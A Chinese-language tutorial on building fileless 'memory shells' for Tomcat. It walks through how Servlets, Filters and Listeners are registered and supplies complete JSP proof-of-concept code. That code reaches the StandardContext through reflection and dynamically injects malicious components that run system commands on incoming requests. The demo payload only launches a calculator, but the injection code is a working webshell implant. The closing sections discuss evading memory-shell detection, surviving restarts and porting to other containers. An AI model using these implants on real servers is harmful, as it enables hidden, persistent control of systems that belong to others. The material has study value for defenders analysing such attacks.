传统Web内存马构造思路与思考
字数 2376 2025-11-28 12:11:11
传统Web内存马构造思路与思考 - 教学文档
一、前言
内存马是一种无文件落地的Webshell技术,可以让攻击者在没有文件的情况下注入恶意代码,从而增强隐蔽性。本文深入分析传统Web内存马的构造思路,涵盖Servlet、Filter和Listener三种类型的内存马实现原理。
二、环境搭建
基础环境要求
- Java 8+
- Tomcat 9.0.111+
- Maven项目管理
项目配置
- 创建JavaEE 8项目,确保依赖项包含Servlet
- 在pom.xml中添加tomcat-catalina依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.111</version>
</dependency>
- 创建用于实验的Servlet、Filter、Listener组件
三、Web应用内存马基础原理
JavaWeb请求处理流程
在收到请求后,Web容器中的处理顺序为:
Listener → Filter → Servlet → Filter → Listener
内存马注入原理
向Tomcat容器中的Listener、Filter、Servlet注入恶意代码,实现在收到特定请求时执行恶意操作。
传统内存马局限性
传统方法需要先上传JSP文件,该文件动态向Tomcat容器注册恶意组件,虽然最终实现无文件落地,但初始上传的文件仍然会落地。
四、注册流程分析
ContextConfig类分析
ContextConfig是Web应用配置解析器,负责整个Web应用的配置加载和初始化工作。
关键分析步骤
- web.xml解析:ContextConfig解析web.xml文件中的配置信息
- 配置信息存储:解析后的Servlet、Filter、Listener信息存储在webXml对象中
- 配置初始化:通过configureContext方法进行配置信息初始化
- 组件注册:分别注册Servlet、Filter、Listener到容器中
五、StandardContext对象获取
StandardContext作用
StandardContext是Context体系中较底层的实现,负责:
- Servlet生命周期管理
- Filter链管理
- Listener管理
获取方法
通过HttpServletRequest获取StandardContext对象:
<%
// 获取ServletContext对象
ServletContext servletContext = request.getServletContext();
// 通过反射获取ApplicationContext字段
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
// 通过字段获取ApplicationContext对象
Object applicationContext = applicationContextField.get(servletContext);
// 通过反射获取StandardContext字段
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
// 通过字段获取StandardContext对象
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
%>
六、三种内存马技术详解
6.1 组件加载机制差异
Servlet
- 加载机制:懒加载,只有在对应路由被访问时才创建实例
- 内存马重点:修改实例化所需的数据
Filter
- 加载机制:Web启动时立即实例化所有Filter,构建完整过滤链
- 内存马重点:需要自己实例化并关注运行逻辑
Listener
- 加载机制:Web启动时立即实例化,事件驱动
- 内存马重点:实例化并将Listener注入列表
6.2 Servlet内存马
原理分析
ContextConfig中的Servlet注册流程:
for(ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = this.context.createWrapper();
// 设置各种属性...
wrapper.setServletClass(servlet.getServletClass());
// 添加映射...
}
恶意Servlet类
<%!
public class EvilServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
%>
Wrapper构造
<%
// 将恶意类EvilServlet封装到Wrapper对象中
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("EvilServlet");
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/EvilServlet", "EvilServlet");
System.out.println("Servlet注入成功");
%>
完整POC
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%!
public class EvilServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
%>
<%
// StandardContext获取代码(同上)
// Wrapper构造代码(同上)
%>
6.3 Filter内存马
调用逻辑分析
- ApplicationFilterChain:负责Filter的链式调用
- internalDoFilter方法:核心调用逻辑,通过filters数组管理Filter实例
- FilterConfig管理:通过findFilterConfig方法获取filterConfig
关键构造要素
FilterDef构造
<%
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass("EvilFilter");
standardContext.addFilterDef(filterDef);
standardContext.filterStart();
%>
FilterMap构造
<%
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("EvilFilter");
standardContext.addFilterMap(filterMap);
// standardContext.addFilterMapBefore(filterMap); // 也可以使用此方法
%>
恶意Filter类
<%!
public class EvilFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc.exe");
chain.doFilter(request, response);
}
}
%>
Filter入口方法
- filterStart():Filter初始化入口方法,重新初始化filterConfigs
- startInternal():Web创建时Filter初始化的底层方法
完整POC
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
public class EvilFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc.exe");
chain.doFilter(request, response);
}
}
%>
<%
// StandardContext获取代码
// FilterDef和FilterMap构造代码
// 创建恶意Filter实例
EvilFilter evilFilter = new EvilFilter();
%>
6.4 Listener内存马
Listener类型
- ServletRequestListener:请求创建和销毁时触发(最适合内存马)
- ServletRequestAttributeListener:属性变更时触发
- HttpSessionListener:Session创建和失效时触发
原理分析
- 事件分发机制:StandardContext.fireRequestInitEvent()方法遍历Listener列表
- 实例化列表:通过getApplicationEventListeners()获取applicationEventListenersList
- 动态调用:每次请求时遍历Listener实例并调用相应方法
恶意Listener类
<%!
public static class EvilListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public void requestDestroyed(ServletRequestEvent sre) {
// 可选的销毁处理
}
}
%>
内存马注入
<%
EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
%>
完整POC
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
public static class EvilListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
%>
<%
// StandardContext获取代码
EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
%>
七、关键技术要点总结
7.1 核心原理
- StandardContext获取:通过反射链从HttpServletRequest获取StandardContext实例
- 组件生命周期:理解不同组件的加载时机和调用机制
- 容器内部结构:掌握Tomcat内部的数据结构和管理机制
7.2 技术差异
- Servlet:重点关注Wrapper构造和URL映射
- Filter:需要处理FilterDef、FilterMap和FilterConfig的完整链
- Listener:直接操作applicationEventListenersList
7.3 防御规避
- 隐蔽性:传统内存马仍需初始文件上传,存在被检测风险
- 持久化:需要考虑内存马在容器重启后的存活问题
- 检测规避:需要对抗各种内存马检测工具和技术
八、进阶思考方向
- 无文件落地的完全内存马:探索不依赖任何文件上传的内存马技术
- 持久化机制:研究内存马在容器重启后的自动恢复技术
- 检测与对抗:分析现有检测手段并研究相应的规避技术
- 其他容器适配:将技术扩展到Jetty、WebLogic等其他Java容器
本教学文档详细分析了传统Web内存马的构造思路和实现技术,为深入理解内存马原理和防御技术提供了坚实基础。